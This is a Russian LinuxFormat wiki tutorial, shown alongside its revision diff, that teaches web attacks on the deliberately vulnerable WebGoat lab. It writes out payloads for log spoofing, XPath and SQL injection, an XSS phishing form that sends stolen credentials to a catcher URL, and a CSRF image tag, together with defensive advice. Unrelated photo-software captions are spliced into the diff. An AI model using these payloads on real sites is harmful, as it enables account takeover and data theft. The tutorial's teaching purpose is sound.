Журнал LinuxFormat - перейти на главную

LXF159:Хакерам: Cайт в безопасности

Материал из Linuxformat
(Различия между версиями)
Перейти к: навигация, поиск
(Новая страница: «Категория: Учебники Категория: Безопасность Ха­ке­рам: Cайт в безо­пас­но­сти Безо…»)
 
Строка 2: Строка 2:
 
[[Категория: Безопасность]]
 
[[Категория: Безопасность]]
  
Ха­ке­рам: Cайт в безо­пас­но­сти
+
=Ха­ке­рам: Cайт в безо­пас­но­сти=
Безо­пас­ность web-сер­ве­ра Пре­дот­вра­ти­те  
+
 
трю­ки ха­ке­ров с по­мо­щью WebGoat
+
''Безо­пас­ность web-сер­ве­ра. Пре­дот­вра­ти­те трю­ки ха­ке­ров с по­мо­щью WebGoat.''
  
 
[[Файл: Expert.png| left  |thumb|100px|  Бен Эве­рард
 
[[Файл: Expert.png| left  |thumb|100px|  Бен Эве­рард
Строка 31: Строка 31:
  
 
и лю­бой па­роль и на­жми­те Login [Вой­ти в сис­те­му]. Соз­да­дут­ся три за­пи­си – од­на о неудач­ном вхо­де и две об успеш­ном. Ра­зу­ме­ет­ся, таким способом при желании мож­но до­ба­вить и любые дру­гие стро­ки (см. рис. 1).
 
и лю­бой па­роль и на­жми­те Login [Вой­ти в сис­те­му]. Соз­да­дут­ся три за­пи­си – од­на о неудач­ном вхо­де и две об успеш­ном. Ра­зу­ме­ет­ся, таким способом при желании мож­но до­ба­вить и любые дру­гие стро­ки (см. рис. 1).
 +
 +
[[Файл:LXF159.tut_websec.owas_opt.jpeg | left  |thumb|400px|  > Под­ме­на вхо­да в сис­те­му: в слу­чае ус­пе­ха в лог-файл до­ба­вят­ся не­сколь­ко со­об­ще­ний, ко­то­рые бу­дут по­ка­за­ны на стра­ни­це.]]
  
 
В файл мож­но за­пи­сать и скрипт, ведь это не про­ве­ря­ет­ся. Ес­ли ад­минист­ра­тор про­смат­ри­ва­ет лог-фай­лы че­рез брау­зер, этим мож­но восполь­зо­вать­ся для ата­ки на его сес­сию с по­мо­щью неко­то­рых из тех­но­ло­гий, опи­сан­ных да­лее.
 
В файл мож­но за­пи­сать и скрипт, ведь это не про­ве­ря­ет­ся. Ес­ли ад­минист­ра­тор про­смат­ри­ва­ет лог-фай­лы че­рез брау­зер, этим мож­но восполь­зо­вать­ся для ата­ки на его сес­сию с по­мо­щью неко­то­рых из тех­но­ло­гий, опи­сан­ных да­лее.
Строка 36: Строка 38:
 
Ок­но вхо­да в сис­те­му без про­вер­ки дан­ных – су­щий по­да­рок ха­ке­ру, и с его по­мо­щью мож­но сде­лать нечто боль­шее, чем про­сто до­ба­вить па­ру за­пи­сей в лог-файл. Долж­ным об­ра­зом ор­ганизо­ван­ные дан­ные в этих по­лях да­дут нам доступ и к дру­гой ин­фор­ма­ции о поль­зо­ва­те­ле.
 
Ок­но вхо­да в сис­те­му без про­вер­ки дан­ных – су­щий по­да­рок ха­ке­ру, и с его по­мо­щью мож­но сде­лать нечто боль­шее, чем про­сто до­ба­вить па­ру за­пи­сей в лог-файл. Долж­ным об­ра­зом ор­ганизо­ван­ные дан­ные в этих по­лях да­дут нам доступ и к дру­гой ин­фор­ма­ции о поль­зо­ва­те­ле.
  
Ата­куй­те и раз­ру­шай­те
+
==Ата­куй­те и раз­ру­шай­те==
  
 
Пе­рей­ди­те к раз­де­лу «XPATH Injection» (Инъ­ек­ция в XPATH) в ле­вой час­ти ок­на. В этом при­ме­ре мы со­вер­шим ата­ку на по­ле с па­ро­лем для по­лу­чения до­полнитель­ной ин­фор­ма­ции. Па­роль про­ве­ря­ет­ся с по­мо­щью вы­ра­жения XPATH, ко­то­рое воз­вра­ща­ет все стро­ки, со­от­вет­ст­вую­щие вве­ден­ным имени поль­зо­ва­те­ля и па­ро­лю. Мы мо­жем раз­ру­шить это вы­ра­жение и до­ба­вить вы­ра­жение OR, ко­то­рое всегда бу­дет воз­вра­щать true, и та­ким об­ра­зом по­лу­чить все за­пи­си из ба­зы дан­ных. Вве­ди­те имя поль­зо­ва­те­ля Mike и па­роль:
 
Пе­рей­ди­те к раз­де­лу «XPATH Injection» (Инъ­ек­ция в XPATH) в ле­вой час­ти ок­на. В этом при­ме­ре мы со­вер­шим ата­ку на по­ле с па­ро­лем для по­лу­чения до­полнитель­ной ин­фор­ма­ции. Па­роль про­ве­ря­ет­ся с по­мо­щью вы­ра­жения XPATH, ко­то­рое воз­вра­ща­ет все стро­ки, со­от­вет­ст­вую­щие вве­ден­ным имени поль­зо­ва­те­ля и па­ро­лю. Мы мо­жем раз­ру­шить это вы­ра­жение и до­ба­вить вы­ра­жение OR, ко­то­рое всегда бу­дет воз­вра­щать true, и та­ким об­ра­зом по­лу­чить все за­пи­си из ба­зы дан­ных. Вве­ди­те имя поль­зо­ва­те­ля Mike и па­роль:
Строка 50: Строка 52:
 
При ка­ж­дом вво­де ад­ре­са или щелч­ке по ссыл­ке брау­зер от­прав­ля­ет за­прос HTTP GET, ко­то­рый со­об­ща­ет web-сер­ве­ру, что вам ну­жен оп­ре­де­лен­ный до­ку­мент. В от­вет сер­вер дол­жен от­пра­вить за­про­шен­ный до­ку­мент брау­зе­ру. На прак­ти­ке для боль­шин­ст­ва web-страниц от­прав­ля­ют­ся несколь­ко HTTP-за­про­сов, так как брау­зер дол­жен от­прав­лять по за­про­су на ка­ж­дый эле­мент страницы (та­кой как кар­тин­ка).
 
При ка­ж­дом вво­де ад­ре­са или щелч­ке по ссыл­ке брау­зер от­прав­ля­ет за­прос HTTP GET, ко­то­рый со­об­ща­ет web-сер­ве­ру, что вам ну­жен оп­ре­де­лен­ный до­ку­мент. В от­вет сер­вер дол­жен от­пра­вить за­про­шен­ный до­ку­мент брау­зе­ру. На прак­ти­ке для боль­шин­ст­ва web-страниц от­прав­ля­ют­ся несколь­ко HTTP-за­про­сов, так как брау­зер дол­жен от­прав­лять по за­про­су на ка­ж­дый эле­мент страницы (та­кой как кар­тин­ка).
  
OWASP при­ме­ня­ет WebScarab в ка­че­­ст­ве про­кси, то есть про­грам­мы, пе­ре­хва­ты­ва­ющей HTTP-за­про­сы (обыч­но для кэ­ши­ро­вания). WebScarab – про­кси для обу­чения: он удер­жи­ва­ет HTTP-за­прос, по­зво­ляя про­смот­реть и из­менить его. Так мы уви­дим, что про­ис­хо­дит внут­ри брау­зе­ра. А раз для взаи­мо­дей­ст­вия с web-сер­ве­ром исполь­зу­ет­ся HTTP, то мы ата­ку­ем сер­вер пу­тем из­ме­нения HTTP-за­про­сов. Боль­шин­ст­во ди­на­ми­че­­ских сай­тов соз­да­ют­ся на ле­ту из ин­фор­ма­ции, со­дер­жа­щей­ся в ба­зе дан­ных. Од­ной из це­лей ха­ке­ра мо­жет быть по­лу­чение ин­фор­ма­ции из это­го ис­точника, и это воз­мож­но с по­мо­щью SQL-инъ­ек­ции. При та­ком ти­пе ата­ке ха­кер об­ман­ным пу­тем за­став­ля­ет сайт вы­полнить непре­ду­смот­рен­ный SQL-за­прос и ото­бра­зить ре­зуль­та­ты. В Firefox зай­ди­те в ме­ню Injection Flaws [Инъ­ек­ция] в ле­вой час­ти ок­на и в под­ме­ню Numeric SQL Injection [Чи­сло­вая SQL-инъ­ек­ция]. От­кро­ет­ся сайт-шаб­лон с ин­фор­ма­ци­ей о по­го­де. При его обыч­ной ра­бо­те мож­но вы­брать ме­тео­стан­цию из вы­па­даю­ще­го спи­ска и на­жать кноп­ку Go [По­ка­зать], что­бы уви­деть дан­ные о ме­теоусло­ви­ях на этой стан­ции. Но, бу­ду­чи алч­ны­ми ха­ке­ра­ми, мы хо­тим уви­деть все дан­ные. Для на­ча­ла этот сайт со­об­ща­ет нам и SQL-за­прос, ис­поль­зуе­мый для по­лу­чения дан­ных. В дан­ном слу­чае это:
+
OWASP при­ме­ня­ет WebScarab в ка­че­­ст­ве про­кси, то есть про­грам­мы, пе­ре­хва­ты­ва­ющей HTTP-за­про­сы (обыч­но для кэ­ши­ро­вания). WebScarab – про­кси для обу­чения: он удер­жи­ва­ет HTTP-за­прос, по­зво­ляя про­смот­реть и из­менить его. Так мы уви­дим, что про­ис­хо­дит внут­ри брау­зе­ра. А раз для взаи­мо­дей­ст­вия с web-сер­ве­ром исполь­зу­ет­ся HTTP, то мы ата­ку­ем сер­вер пу­тем из­ме­нения HTTP-за­про­сов. Боль­шин­ст­во ди­на­ми­че­­ских сай­тов соз­да­ют­ся на ле­ту из ин­фор­ма­ции, со­дер­жа­щей­ся в ба­зе дан­ных. Од­ной из це­лей ха­ке­ра мо­жет быть по­лу­чение ин­фор­ма­ции из это­го ис­точника, и это воз­мож­но с по­мо­щью SQL-инъ­ек­ции.  
 +
 
 +
{| class="standart"
 +
|+ ''' Шаг за шагом: Кодируем видео ‘'' 
 +
| [[Файл: LXF156.rev_aftershot.c_opt.jpeg| center |thumb|300px|  '''Импорт папки.''' Без функции Catalogue можно и обойтись,  но она поможет быстро найти фотографию.]]
 +
| [[Файл: LXF156.rev_aftershot._opt1.jpeg | center |thumb|300px|Положите на место.  Выберите каталог, куда нужно добавить папку. ]]
 +
|[[Файл: LXF156.rev_aftershot._opt2.jpeg| center |thumb|300px|  '''Поиск.''' Через меню Metadata осуществляется поиск по дате, объективам, фокусу или другим данным EXIF. ]]
 +
|}
 +
 
 +
 
 +
При та­ком ти­пе ата­ке ха­кер об­ман­ным пу­тем за­став­ля­ет сайт вы­полнить непре­ду­смот­рен­ный SQL-за­прос и ото­бра­зить ре­зуль­та­ты. В Firefox зай­ди­те в ме­ню Injection Flaws [Инъ­ек­ция] в ле­вой час­ти ок­на и в под­ме­ню Numeric SQL Injection [Чи­сло­вая SQL-инъ­ек­ция]. От­кро­ет­ся сайт-шаб­лон с ин­фор­ма­ци­ей о по­го­де. При его обыч­ной ра­бо­те мож­но вы­брать ме­тео­стан­цию из вы­па­даю­ще­го спи­ска и на­жать кноп­ку Go [По­ка­зать], что­бы уви­деть дан­ные о ме­теоусло­ви­ях на этой стан­ции. Но, бу­ду­чи алч­ны­ми ха­ке­ра­ми, мы хо­тим уви­деть все дан­ные. Для на­ча­ла этот сайт со­об­ща­ет нам и SQL-за­прос, ис­поль­зуе­мый для по­лу­чения дан­ных. В дан­ном слу­чае это:
  
 
SELECT * from weather_data WHERE station = ?
 
SELECT * from weather_data WHERE station = ?

Версия 06:49, 25 сентября 2018


Содержание

Ха­ке­рам: Cайт в безо­пас­но­сти

Безо­пас­ность web-сер­ве­ра. Пре­дот­вра­ти­те трю­ки ха­ке­ров с по­мо­щью WebGoat.

(thumbnail)
Бен Эве­рард бро­сил ра­бо­ту IT-кон­суль­тан­та, что­бы от­пра­вить­ся на два го­да в Тан­за­нию ус­та­навли­­вать сис­те­мы на ба­зе Ubuntu в шко­лах. Те­перь его зна­ния на­хо­дят при­ме­не­ние в бур­ля­щем кот­ле от­кры­тий – ре­дак­ции Linux Format.

Ду­мае­те, при по­след­них за­плат­ках безо­пас­но­сти Apache ваш сайт за­щи­щен? Бен Эве­рард по­ка­зы­ва­ет, что ха­ке­ры все еще мо­гут до не­го до­б­рать­ся.

От со­ци­аль­ных се­тей до он­лайн-ма­га­зи­нов и ин­тернет-бан­кин­га – Сеть проч­но во­шла в на­шу жизнь. Но безо­пас­на ли она? Уяз­ви­мо­сти в сер­ве­рах обыч­но бы­ст­ро об­на­ру­жи­ва­ют­ся и ис­прав­ля­ют­ся, но как на­счет web-при­ло­жений на этих сер­ве­рах? Мо­жет ли ха­кер по­лу­чить доступ к этим при­ло­жениям и за­ста­вить их работать на себя? Да, имен­но это и про­ис­хо­дит в Ин­тернете что ни день. В этой ста­тье с по­мо­щью WebGoat, де­мон­ст­ра­ци­он­но­го web-при­ло­жения, мы по­ка­жем вам тех­но­ло­гии, ко­то­ры­ми поль­зу­ют­ся ха­ке­ры, по­то­му что понимание уг­ро­зы – это пер­вый шаг к за­щи­те от нее.

WebGoat мож­но уста­но­вить в боль­шин­ст­ве ди­ст­ри­бу­ти­вов, но его на­строй­ка мо­жет быть немно­го слож­ной, по­это­му про­ще все­го восполь­зо­вать­ся об­ра­зом OWASP WTE (Open Web Application Security Project – Web Testing Environment).

OWASP WTE досту­пен в ви­де Live DVD, ко­то­рый мож­но за­пи­сать на диск и за­гру­зить­ся с него. Од­на­ко, по­сколь­ку он на­ме­ренно пронизан уяз­ви­мо­стя­ми, луч­ше за­пускать его на вир­ту­аль­ной ма­шине. Ес­ли у вас не уста­нов­лен VirtualBox, най­ди­те его в сво­их ре­по­зи­то­ри­ях или за­гру­зи­те с https://www.virtualbox.org. На­ше ру­ко­во­дство по­дой­дет и для дру­гих про­грамм вир­туа­ли­за­ции, та­ких как Qemu или VMWare. За­гру­зи­те об­раз дис­ка VirtualBox с http://appseclive.org/node/45 и рас­па­куй­те его ко­ман­дой:

unrar e owasp-wte-Feb-2011.vdi.rar

С по­мо­щью ин­ст­рук­ций по уста­нов­ке на соседней странице уста­но­ви­те и за­пусти­те WebScarab, и мож­но дви­гать­ся даль­ше.

Не все ата­ки ин­те­ре­су­ют­ся досту­пом к ин­фор­ма­ции на сай­те. В неко­то­рых (или в со­ста­ве круп­ных атак) нуж­но, наоборот, раз­мес­тить дан­ные. Скажем, если вы хотите проникнуть на сер­ве­р ме­то­дом пе­ре­бо­ра па­ролей, в лог-фай­лах оста­нут­ся де­сят­ки со­об­щений о неудач­ных по­пыт­ках вхо­да в сис­те­му. Их мож­но раз­ба­вить со­об­щения­ми об удач­ном вхо­де, что­бы сис­тем­ные ад­минист­ра­то­ры ничего не запо­доз­рили. Для это­го вы­бе­ри­те пункт ме­ню Injection Flaws > Log Spoofing (Инъ­ек­ция > Под­ме­на лог-фай­ла).

В этом тес­те мы до­ба­вим пару но­вых стро­к в лог-файл об успеш­ном вхо­де в сис­те­му, после од­ной за­пи­си о неудач­ном. Они обо­зна­ча­ют­ся как %0d %0a. Вве­ди­те имя поль­зо­ва­те­ля:

Smith%0d%0aLogin Succeeded for username:

Admin%0d%0aLogin Succeeded for username: John

и лю­бой па­роль и на­жми­те Login [Вой­ти в сис­те­му]. Соз­да­дут­ся три за­пи­си – од­на о неудач­ном вхо­де и две об успеш­ном. Ра­зу­ме­ет­ся, таким способом при желании мож­но до­ба­вить и любые дру­гие стро­ки (см. рис. 1).

(thumbnail)
> Под­ме­на вхо­да в сис­те­му: в слу­чае ус­пе­ха в лог-файл до­ба­вят­ся не­сколь­ко со­об­ще­ний, ко­то­рые бу­дут по­ка­за­ны на стра­ни­це.

В файл мож­но за­пи­сать и скрипт, ведь это не про­ве­ря­ет­ся. Ес­ли ад­минист­ра­тор про­смат­ри­ва­ет лог-фай­лы че­рез брау­зер, этим мож­но восполь­зо­вать­ся для ата­ки на его сес­сию с по­мо­щью неко­то­рых из тех­но­ло­гий, опи­сан­ных да­лее.

Ок­но вхо­да в сис­те­му без про­вер­ки дан­ных – су­щий по­да­рок ха­ке­ру, и с его по­мо­щью мож­но сде­лать нечто боль­шее, чем про­сто до­ба­вить па­ру за­пи­сей в лог-файл. Долж­ным об­ра­зом ор­ганизо­ван­ные дан­ные в этих по­лях да­дут нам доступ и к дру­гой ин­фор­ма­ции о поль­зо­ва­те­ле.

Ата­куй­те и раз­ру­шай­те

Пе­рей­ди­те к раз­де­лу «XPATH Injection» (Инъ­ек­ция в XPATH) в ле­вой час­ти ок­на. В этом при­ме­ре мы со­вер­шим ата­ку на по­ле с па­ро­лем для по­лу­чения до­полнитель­ной ин­фор­ма­ции. Па­роль про­ве­ря­ет­ся с по­мо­щью вы­ра­жения XPATH, ко­то­рое воз­вра­ща­ет все стро­ки, со­от­вет­ст­вую­щие вве­ден­ным имени поль­зо­ва­те­ля и па­ро­лю. Мы мо­жем раз­ру­шить это вы­ра­жение и до­ба­вить вы­ра­жение OR, ко­то­рое всегда бу­дет воз­вра­щать true, и та­ким об­ра­зом по­лу­чить все за­пи­си из ба­зы дан­ных. Вве­ди­те имя поль­зо­ва­те­ля Mike и па­роль:

test123’ or ‘a’=’a

Внешние ка­выч­ки до­бав­ля­ют­ся XPATH, по­это­му они не нуж­ны. Зна­чение это­го вы­ра­жения всегда рав­но true, и оно вернет всех поль­зо­ва­те­лей.

Не во все фор­мы мож­но вве­сти текст. Иногда нуж­но вы­би­рать зна­чение из спи­ска. Но и такие по­ля не за­щи­ще­ны от атак – ха­ке­рам нуж­но про­явить лишь чуть боль­ше изо­бре­таль­но­сти.

Вер­нув­шись в WebScarab, вы уви­ди­те це­лую ку­чу за­про­сов HTTP GET. Ка­ж­дый из них со­от­вет­ст­ву­ет эле­мен­ту до­ку­мен­та, за­про­шенного брау­зе­ром. В столб­це Path [Путь] вы ви­ди­те ин­фор­ма­цию о за­пра­ши­вае­мом ком­понен­те. Те­перь несколь­ко слов о том, как ра­бо­та­ет Ин­тернет. В его осно­ве ле­жит про­то­кол пе­ре­да­чи ги­пер­тек­ста (HyperText Transfer Protocol, HTTP). Ги­пер­текст – кра­си­вое сло­во для до­ку­мен­тов со ссыл­ка­ми в них, обыч­но HTML-до­ку­мен­тов. HTTP раз­ра­ба­ты­вал­ся так, что­бы быть по­нят­ным че­ло­ве­ку, и раз­лич­ные дан­ные про­то­ко­ла пе­ре­да­ют­ся в ви­де тек­ста.

При ка­ж­дом вво­де ад­ре­са или щелч­ке по ссыл­ке брау­зер от­прав­ля­ет за­прос HTTP GET, ко­то­рый со­об­ща­ет web-сер­ве­ру, что вам ну­жен оп­ре­де­лен­ный до­ку­мент. В от­вет сер­вер дол­жен от­пра­вить за­про­шен­ный до­ку­мент брау­зе­ру. На прак­ти­ке для боль­шин­ст­ва web-страниц от­прав­ля­ют­ся несколь­ко HTTP-за­про­сов, так как брау­зер дол­жен от­прав­лять по за­про­су на ка­ж­дый эле­мент страницы (та­кой как кар­тин­ка).

OWASP при­ме­ня­ет WebScarab в ка­че­­ст­ве про­кси, то есть про­грам­мы, пе­ре­хва­ты­ва­ющей HTTP-за­про­сы (обыч­но для кэ­ши­ро­вания). WebScarab – про­кси для обу­чения: он удер­жи­ва­ет HTTP-за­прос, по­зво­ляя про­смот­реть и из­менить его. Так мы уви­дим, что про­ис­хо­дит внут­ри брау­зе­ра. А раз для взаи­мо­дей­ст­вия с web-сер­ве­ром исполь­зу­ет­ся HTTP, то мы ата­ку­ем сер­вер пу­тем из­ме­нения HTTP-за­про­сов. Боль­шин­ст­во ди­на­ми­че­­ских сай­тов соз­да­ют­ся на ле­ту из ин­фор­ма­ции, со­дер­жа­щей­ся в ба­зе дан­ных. Од­ной из це­лей ха­ке­ра мо­жет быть по­лу­чение ин­фор­ма­ции из это­го ис­точника, и это воз­мож­но с по­мо­щью SQL-инъ­ек­ции.

' Шаг за шагом: Кодируем видео ‘
(thumbnail)
Импорт папки. Без функции Catalogue можно и обойтись, но она поможет быстро найти фотографию.
(thumbnail)
Положите на место. Выберите каталог, куда нужно добавить папку.
(thumbnail)
Поиск. Через меню Metadata осуществляется поиск по дате, объективам, фокусу или другим данным EXIF.


При та­ком ти­пе ата­ке ха­кер об­ман­ным пу­тем за­став­ля­ет сайт вы­полнить непре­ду­смот­рен­ный SQL-за­прос и ото­бра­зить ре­зуль­та­ты. В Firefox зай­ди­те в ме­ню Injection Flaws [Инъ­ек­ция] в ле­вой час­ти ок­на и в под­ме­ню Numeric SQL Injection [Чи­сло­вая SQL-инъ­ек­ция]. От­кро­ет­ся сайт-шаб­лон с ин­фор­ма­ци­ей о по­го­де. При его обыч­ной ра­бо­те мож­но вы­брать ме­тео­стан­цию из вы­па­даю­ще­го спи­ска и на­жать кноп­ку Go [По­ка­зать], что­бы уви­деть дан­ные о ме­теоусло­ви­ях на этой стан­ции. Но, бу­ду­чи алч­ны­ми ха­ке­ра­ми, мы хо­тим уви­деть все дан­ные. Для на­ча­ла этот сайт со­об­ща­ет нам и SQL-за­прос, ис­поль­зуе­мый для по­лу­чения дан­ных. В дан­ном слу­чае это:

SELECT * from weather_data WHERE station = ?

Здесь ? – это стан­ция, вы­бран­ная из вы­па­даю­ще­го спи­ска. Что­бы из­влечь по­боль­ше ин­фор­ма­ции из данно­го за­про­са, рас­ши­рим усло­вие WHERE. Для это­го мож­но пе­ре­хва­тить за­прос и до­ба­вить до­полнитель­ный текст в по­ле Station.

В WebScarab по­ставь­те га­лоч­ку Intercept Request [Пе­ре­хва­тить за­прос], за­тем на­жми­те Go [За­пустить] в Firefox. Про­кси пе­ре­хва­тит за­прос, со­дер­жа­щий два ком­понен­та дан­ных – стан­цию и дей­ст­вие submit. Из­мените зна­чение стан­ции на

101 OR station like ‘%’

и на­жми­те Accept Changes [При­ме­нить из­ме­не­ния], см. эк­ран­ный сни­мок вни­зу. Те­перь сис­те­ма бу­дет об­ра­ба­ты­вать SQL-за­прос

SELECT * from weather_data WHERE station = 101 OR station like ‘%’

Так как в SQL % – это мас­ка, то за­прос вернет все дан­ные из таб­ли­цы weather_data. Это че­ты­ре стан­ции в вы­па­даю­щем спи­ске и еще две, ко­то­рые соз­да­те­ли сай­та хо­те­ли скрыть. По за­вер­шении это­го уп­ражнения сайт пе­ре­клю­чит­ся в бо­лее за­щи­щен­ную кон­фи­гу­ра­цию, в ко­то­рой он про­ве­ря­ет, яв­ля­ет­ся ли ввод в SQL-за­прос чис­лом. Ес­ли вы по­пы­тае­тесь вы­полнить за­прос еще раз, ата­ка за­вер­шит­ся неудач­но.

Те­перь пе­рей­дем в LAB: SQL Injection [ПРИМЕРЫ: SQL-инъ­ек­ция] и рас­смот­рим неко­то­рые спо­со­бы при­менения этой техники. В на­ших при­ме­рах ис­поль­зу­ет­ся ад­минист­ра­тив­ный сайт вы­мыш­лен­ной ком­пании Goat Hills. На пер­вом эта­пе мы об­ман­ным пу­тем за­ста­вим сайт впустить нас в сис­те­му, не зная па­ро­ля.

Сайт сравнива­ет па­роль с тем, что хранит­ся в ба­зе дан­ных, с по­мо­щью за­про­са

Select * from employee WHERE userid = ‘ + userid + ‘ and password = ‘ + password

Ес­ли этот за­прос воз­вра­ща­ет стро­ку, то поль­зо­ва­тель ввел вер­ный па­роль, и ему раз­ре­ша­ет­ся вой­ти в сис­те­му. Вве­ди­те имя поль­зо­ва­те­ля Neville Bartholomew и па­роль Test. Убе­ди­тесь, что WebScarab все еще пе­ре­хва­ты­ва­ет за­про­сы, и на­жми­те Login [Вой­ти]. Этот за­прос мож­но из­менить, до­ба­вив усло­вие OR (ИЛИ) ме­то­дом, ана­ло­гич­ным пре­ды­ду­ще­му уп­ражнению. Пе­ре­хва­тим HTTP-за­прос и из­меним по­ле па­ро­ля на

Test’ OR password LIKE ‘%

Test – непра­виль­ный па­роль, но так как ‘1’=’1’, за­прос вернет дан­ные, и сис­те­ма по­зво­лит нам вой­ти. За­тем вы смо­же­те вы­пол­нять все дей­ст­вия, раз­ре­ше­нные Не­вил­лу (а он ад­минист­ра­тор). В прин­ци­пе этот текст мож­но бы­ло вве­сти и в по­ле па­ро­ля, но раз­ра­бот­чи­ки сай­та ог­раничи­ли дли­ну это­го по­ля, и для об­хо­да этой про­вер­ки при­шлось при­менить про­кси.

Вто­рой этап это­го уп­ражнения вклю­ча­ет из­менение ко­да сер­ве­ра для за­щи­ты от та­ких атак. Желающие мо­гут соз­дать его са­мо­стоя­тель­но, а мы пе­рей­дем к треть­ему эта­пу. Эта ата­ка со­сто­ит из двух час­тей. Во-пер­вых, нуж­но, что­бы за­прос вы­би­рал всех поль­зо­ва­те­лей, а не толь­ко од­но­го из вы­па­даю­ще­го спи­ска. Для это­го до­бав­им усло­вие OR 1=1. Од­на­ко на этой странице нам по­ка­жут дан­ные толь­ко од­но­го поль­зо­ва­те­ля, и нуж­но га­ран­ти­ро­вать, что это пра­виль­ный поль­зо­ва­тель. Интереснее всего выйти на босса, так что из­меним за­прос, до­ба­вив order by salary desc [упорядочить по убыванию оклада]: пусть пер­вым воз­вра­щается че­ло­ве­к с наи­боль­шей зар­пла­той. Нам нуж­но вой­ти в сис­те­му под поль­зо­ва­те­лем Larry (па­роль larry). По­сле вхо­да в сис­те­му щелкните на View Profile [Про­смотр про­фи­ля]. Когда WebScarab пе­ре­хва­тит за­прос, из­мените по­ле employee_id на

101 or 1=1 order by salary desc

и на­жми­те Accept Request [При­нять за­прос]. Вам вернется ин­фор­ма­ция о самом высокооплачиваемом со­труднике, неза­ви­си­мо от то­го, есть ли он в вы­па­даю­щем спи­ске.

Луч­шая за­щи­та от SQL-инъ­ек­ции – и мно­гих дру­гих атак – пра­виль­ная про­вер­ка по­лей вво­да. Очень немно­гим по­лям требуются сим­во­лы «=», «’» и « %». А ес­ли ввод этих сим­во­лов все же необходим, обя­за­тель­но эк­ранируй­те их пе­ред пе­ре­да­чей в ба­зу дан­ных. Это нуж­но де­лать на сер­ве­ре, так как с по­мо­щью WebScarab или дру­гих ути­лит для манипу­ля­ции с HTTP-за­про­са­ми мож­но обой­ти ва­ли­да­цию по­лей вво­да брау­зе­ром.

Меж­сай­то­вый скрип­тинг

Меж­сай­то­вый скрип­тинг (Cross Site Scripting, или XSS) – ме­тод воз­дей­ст­вия на участок сай­та, чтобы тот ото­бра­жал ва­ше­ со­дер­жи­мое. Это воз­мож­но, когда на ин­те­рак­тив­ном сай­те раз­ме­ща­ют­ся дан­ные, вво­ди­мые поль­зо­ва­те­ля­ми. От­крой­те пункт ме­ню Cross-Site Scripting (XSS) > Phishing With XSS [Меж­сай­то­вый скрип­тинг (XSS) > Фи­шинг с XSS]. Сна­ча­ла про­сто на­бе­ри­те Test в по­ле по­ис­ка и на­жми­те Search [Ис­кать]. На странице поя­вит­ся:

Results for: Test

Это зна­чит, что по­сле Results for: мож­но вста­вить что угод­но, и с неболь­ши­ми знания­ми HTML мы мо­жем до­ба­вить не толь­ко обыч­ный текст. На­при­мер, вве­ди­те по­ис­ко­вый за­прос:



Injected Text


– HTML-тэг пе­ре­хо­да на но­вую стро­ку, по­это­му наш текст по­яв­ля­ет­ся уже на но­вой стро­ке, а

го­во­рит брау­зе­ру, что это за­го­ло­вок. С HTML мож­но до­бав­лять не толь­ко текст, но и фор­мы. Для вы­полнения этой ата­ки нам по­тре­бу­ет­ся и то, и дру­гое. Фор­ма бу­дет со­би­рать ин­фор­ма­цию о поль­зо­ва­те­ле, а скрипт раз­мес­тит ее на http://localhost/WebGoat/catcher?PROPERTY=yes

Так как фи­шинг осно­ван на том, что­бы об­ман­ным пу­тем за­ста­вить поль­зо­ва­те­ля вве­сти свои дан­ные, нуж­но дать ему вес­кую при­чи­ну вой­ти на сайт. HTML-код на­шей фор­мы бу­дет та­ким:



Важ­но: На­ши сер­ве­ры об­на­ру­жи­ли не­обыч­ную ак­тив­ность ва­шей учет­ной за­пи­си. По­жа­луй­ста, не­мед­лен­но зай­ди­те, что­бы пре­сечь не­ав­то­ри­зо­ван­ные дей­ст­вия

<form><input type=”text” name=”user”>
<input

type=”password” name=”pass”><input type=”submit”

name=”login” onClick=”var image1=new Image; image1.src=’http://localhost:8080/webgoat/catcher?PROPERTY=yes&user=’+this.form.user.value+’&password=’+this.form.pass.value;”></form>

Эта фор­ма со­бе­рет ло­гин и па­роль поль­зо­ва­те­ля и пе­ре­даст их на сер­вер. Мораль: при об­ра­бот­ке вво­ди­мых поль­зо­ва­те­лем дан­ных, ко­то­рые бу­дут ото­бра­жать­ся на сай­те, про­ве­ряйте их на на­ли­чие < и >, так как с их по­мо­щью мож­но соз­дать HTML-тэ­ги.

С по­мо­щью XSS так­же мож­но за­ста­вить брау­зер поль­зо­ва­те­ля вы­полнить дей­ст­вие, ко­то­ро­го он де­лать не со­би­рал­ся. По­сколь­ку ин­те­рак­тив­ные web-страницы ра­бо­та­ют под управ­лением про­то­ко­ла HTTP, то ес­ли мы за­ста­вим брау­зер вы­полнить за­прос HTTP GET, сер­вер мо­жет по­ду­мать, что поль­зо­ва­тель хо­чет вы­полнить это дей­ст­вие. Са­мый про­стой спо­соб за­ста­вить брау­зер вы­полнить за­прос HTTP GET – с по­мо­щью за­груз­ки изо­бра­жения. Что­бы это изо­бра­жение не по­влия­ло на внешний вид страницы, мы мо­жем сде­лать его раз­ме­ром в один пик­сель. Пе­рей­ди­те в Cross Site Request Forgery [Соз­дание меж­сай­то­вых за­про­сов] и вве­ди­те за­го­ло­вок «Кру­тое со­об­щение – про­чти­те обя­за­тель­но» и со­об­щение:

Это важ­ная ин­фор­ма­ция.

<img src=”http://localhost:8080/webgoat/attack?Screen=89& menu=900&transferFunds=4000” width=”1” height=”1” />

В дан­ном слу­чае фаль­ши­вый за­прос ис­поль­зу­ет­ся (в тео­рии) для пе­ре­во­да денеж­ных средств, но с ним мож­но так­же от­прав­лять поч­ту, за­ку­пать то­ва­ры и де­лать все то, что де­ла­ет­ся щелч­ком по ссыл­ке на сай­те. Так как за­прос при­хо­дит с ком­пь­ю­те­ра жерт­вы, а не с ком­пь­ю­те­ра зло­умыш­ленника, web-сер­вер об­ра­бо­та­ет его (ес­ли поль­зо­ва­тель во­шел в сис­те­му).

